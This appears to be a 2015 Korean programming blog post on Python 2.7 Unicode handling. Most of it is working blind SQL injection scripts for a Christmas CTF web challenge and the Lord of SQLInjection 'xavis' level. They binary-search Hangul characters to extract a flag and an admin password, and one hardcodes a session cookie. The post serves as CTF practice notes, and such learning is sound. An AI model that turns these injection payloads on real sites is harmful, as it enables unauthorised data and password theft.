Python/2.7 information

유니코드, christmasctf a letter to her 500, los xavis

qkqhxla1 2015. 1. 2. 14:53

모든 한글 전체 출력


for i in range(0xd7a4-0xac00):
    print unichr(0xac00+i),
#print '\n',unichr(0xac00),unichr(0xd7a3) #시작은 0xac00(가)부터 끝은 0xd7a3(힣)까지


어떤 웹사이트에 한글을 인코딩해서 보낼 시.


urllib2.quote('가'.encode('utf-8')) 처럼 인코딩하면 utf-8로 변환해서 전송.


christmasctf web500  (못풀었던거 writeup보고 코드만 짜봄.) 맨날 느끼는건데 writeup을 보면


풀수있는건데 막상 풀라고 하면 못푼다 ㅠㅠ 


writeup에서 루비 코드로 4줄?인가면 짜던데;파이썬은 [가..힣] 이런거 없나...


# -*- encoding: cp949 -*-
import urllib2
 
korean= []
for i in range(0xd7a4-0xac00): #모든 한글을 korean리스트에 넣고
    korean.append( unichr(0xac00+i) )
#print korean
#print '\n',unichr(0xac00),unichr(0xd7a3)
 
str = '_'
for i in range(50): #길이를 구해서
    print i,str
    read = urllib2.urlopen(urllib2.Request('http://web-prob.dkserver.wo.tc/sqli_962a035aacf08966ffc7610957ac0c29/'+\
                                           '?letter=-1%20or%20letter%20like%20%22'+str+'%22%20and%20no=4')).read()
    if read.find('ecret :)') != -1:
        length = i + 1
        break
    str += '_'
 
answer = []
for i in range(length): #한글자한글자 binary search로 얻어냄.
    binary = (0xd7a4-0xac00)/2; before = (0xd7a4-0xac00) #한글 전체의 중간~끝 범위가 처음 탐색범위
    while 1:
        print korean[binary],'%s!!!!!' %''.join(answer)
        page = urllib2.urlopen(urllib2.Request('http://web-prob.dkserver.wo.tc/sqli_962a035aacf08966ffc7610957ac0c29/?letter=-1%20or%20letter%3E%22'+\
                                                urllib2.quote((''.join(answer)+korean[binary]).encode('utf-8'))+'%22%20and%20no=4')).read()
        if page.find('ecret :)') != -1:#해당 범위안에 답이 있으면
            binary = (before + binary)/2 #범위를 더 줄임.
            if str == korean[binary]: #이전의 답으로 나온 한글에서 변화가 없으면 그게 플래그.
               if i==length-1: #그런데 마지막 글자는 >가 false로 나오므로 한글자 뒤가 플래그.(마지막글자만.)
                    answer.append(korean[binary+1])
               else:
                    answer.append(str)
               break
            str = korean[binary]
        else: #글자가 앞에 있으므로 이진 탐색을 앞 범위로 바꿈.
            before = binary
            binary /= 2
 
print ''.join(answer)







참고

http://blog.naver.com/powerhw/220194367529


http://1986hz.blog.me/30169453814


http://nuli.navercorp.com/sharing/blog/post/1079940




lord of sqlinjection xavis 한글 인젝션 바이너리 서치

# -*- encoding: cp949 -*-
import urllib2
korean = []
for i in range(0xd7a4-0xac00):
    korean.append( unichr(0xac00+i) )
binary = (0xd7a4-0xac00)/2; before = (0xd7a4-0xac00); answer = ''
for i in range(3):
    while 1:
        print korean[binary]
        req = urllib2.Request('http://leaveret.kr/los/xavis_04f071ecdadb4296361d2101e4a2c390.php?'+\
                              'pw=%27%20or%20id=%27admin%27%20and%20substr(pw,'+str(i+1)+',1)%3D%27'+\
                              urllib2.quote(korean[binary].encode('utf-8'))+'%27%23')
        req.add_header('cookie','PHPSESSID=p7uitlh35htl9ibglq9qsb53k3')
        page = urllib2.urlopen(req).read()
        if page.find('Hello admin') != -1:
            print 'find korean!'+korean[binary]
            answer += korean[binary]
            break
        else:
            req = urllib2.Request('http://leaveret.kr/los/xavis_04f071ecdadb4296361d2101e4a2c390.php?'+\
                                  'pw=%27%20or%20id=%27admin%27%20and%20substr(pw,'+str(i+1)+',1)%3E%27'+\
                                  urllib2.quote(korean[binary].encode('utf-8'))+'%27%23')
            req.add_header('cookie','PHPSESSID=p7uitlh35htl9ibglq9qsb53k3')
            page = urllib2.urlopen(req).read()
            if page.find('Hello admin') != -1:
                binary = (before + binary)/2
            else:
                before = binary
                binary = binary * 2/3
print answer


나중에 코딩을 위한 알고리즘

# -*- encoding: cp949 -*-
배열에 한글 전체를 넣어놓음.
binary = (0xd7a4-0xac00)/2 중간 위치부터 시작해서
before = (0xd7a4-0xac00) 최대의 탐색범위는 처음에는 끝으로 잡음.
answer = ''
for i in range(3): 3글자
    while 1:
	if 글자가 맞는지 요청해보고 맞으면 답에 추가한 후 반복문을 종료.
        else 글자가 틀리면 글자보다 뒤에 있는지(>) 요청을 보내보고
            if 뒤에 있으면
                binary = (before + binary)/2 검색위치를 더 뒤로
            else 뒤가 아니라 앞에 있으면
                before = binary 글자의 뒷부분 최대범위를 before에 설정하고
                binary = binary * 2/3 위치를 2/3지점으로 이동.
답 출력


유용한 글 추가. 페이스북 파이썬코리아의 이진석님. 문제될시 삭제하겠습니다.

https://www.facebook.com/groups/pythonkorea/search/?query=%ED%8C%8C%EC%9D%B4%EC%8D%AC%20%EC%BD%94%EB%93%9C%20%EB%82%B4%EC%97%90%EC%84%9C%EB%8A%94%20%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C%EB%A1%9C%20%ED%95%9C%EA%B8%80%EC%9D%84%20%EC%93%B0%EA%B3%A0%20%EC%B2%98%EB%A6%AC%ED%95%98%EC%84%B8%EC%9A%94




'Python > 2.7 information' 카테고리의 다른 글

beautifulsoup  (0) 2015.01.14
python win32api  (0) 2015.01.13
winpexpect ( ftz level5 )  (0) 2014.12.27
pytesser모듈.  (0) 2014.12.19
Tkinter(python gui)  (0) 2014.11.22